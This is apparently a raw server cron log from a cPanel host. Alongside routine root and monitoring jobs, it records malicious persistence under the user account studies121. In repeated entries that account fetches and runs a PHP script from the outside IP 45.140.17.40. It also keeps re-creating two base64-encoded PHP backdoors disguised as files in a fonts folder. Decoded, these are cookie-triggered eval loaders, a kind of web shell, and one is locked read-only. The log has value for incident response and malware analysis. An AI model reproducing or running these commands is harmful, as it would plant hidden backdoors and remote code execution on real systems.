Sep 21 09:17:01 ip-184-168-122-23 CROND[32650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:18:01 ip-184-168-122-23 CROND[340]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:18:01 ip-184-168-122-23 CROND[345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:18:01 ip-184-168-122-23 CROND[342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:18:01 ip-184-168-122-23 CROND[344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:18:01 ip-184-168-122-23 CROND[343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:19:01 ip-184-168-122-23 CROND[504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:19:01 ip-184-168-122-23 CROND[506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:19:01 ip-184-168-122-23 CROND[507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:19:01 ip-184-168-122-23 CROND[508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:20:01 ip-184-168-122-23 CROND[644]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:20:01 ip-184-168-122-23 CROND[643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:20:01 ip-184-168-122-23 CROND[649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:20:01 ip-184-168-122-23 CROND[647]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 09:20:01 ip-184-168-122-23 CROND[648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:20:01 ip-184-168-122-23 CROND[652]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 09:20:01 ip-184-168-122-23 CROND[653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:20:01 ip-184-168-122-23 CROND[654]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 09:20:01 ip-184-168-122-23 CROND[655]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 09:21:01 ip-184-168-122-23 CROND[866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:21:01 ip-184-168-122-23 CROND[867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:21:01 ip-184-168-122-23 CROND[868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:21:01 ip-184-168-122-23 CROND[869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:22:01 ip-184-168-122-23 CROND[1026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:22:01 ip-184-168-122-23 CROND[1029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:22:01 ip-184-168-122-23 CROND[1030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:22:01 ip-184-168-122-23 CROND[1028]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:22:01 ip-184-168-122-23 CROND[1031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:23:01 ip-184-168-122-23 CROND[1196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:23:01 ip-184-168-122-23 CROND[1198]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:23:01 ip-184-168-122-23 CROND[1202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:23:01 ip-184-168-122-23 CROND[1201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:24:01 ip-184-168-122-23 CROND[1355]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:24:01 ip-184-168-122-23 CROND[1358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:24:01 ip-184-168-122-23 CROND[1357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:24:01 ip-184-168-122-23 CROND[1359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:24:01 ip-184-168-122-23 CROND[1360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:25:01 ip-184-168-122-23 CROND[1523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:25:01 ip-184-168-122-23 CROND[1525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:25:01 ip-184-168-122-23 CROND[1528]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 09:25:01 ip-184-168-122-23 CROND[1527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:25:01 ip-184-168-122-23 CROND[1526]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 09:25:01 ip-184-168-122-23 CROND[1529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:26:01 ip-184-168-122-23 CROND[1669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:26:01 ip-184-168-122-23 CROND[1672]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:26:01 ip-184-168-122-23 CROND[1675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:26:01 ip-184-168-122-23 CROND[1676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:26:01 ip-184-168-122-23 CROND[1677]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:27:01 ip-184-168-122-23 CROND[1844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:27:01 ip-184-168-122-23 CROND[1846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:27:01 ip-184-168-122-23 CROND[1845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:27:01 ip-184-168-122-23 CROND[1850]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:28:01 ip-184-168-122-23 CROND[2115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:28:01 ip-184-168-122-23 CROND[2119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:28:01 ip-184-168-122-23 CROND[2118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:28:01 ip-184-168-122-23 CROND[2117]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:28:01 ip-184-168-122-23 CROND[2120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:29:01 ip-184-168-122-23 CROND[2273]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:29:01 ip-184-168-122-23 CROND[2276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:29:01 ip-184-168-122-23 CROND[2274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:29:01 ip-184-168-122-23 CROND[2275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:30:01 ip-184-168-122-23 CROND[2418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
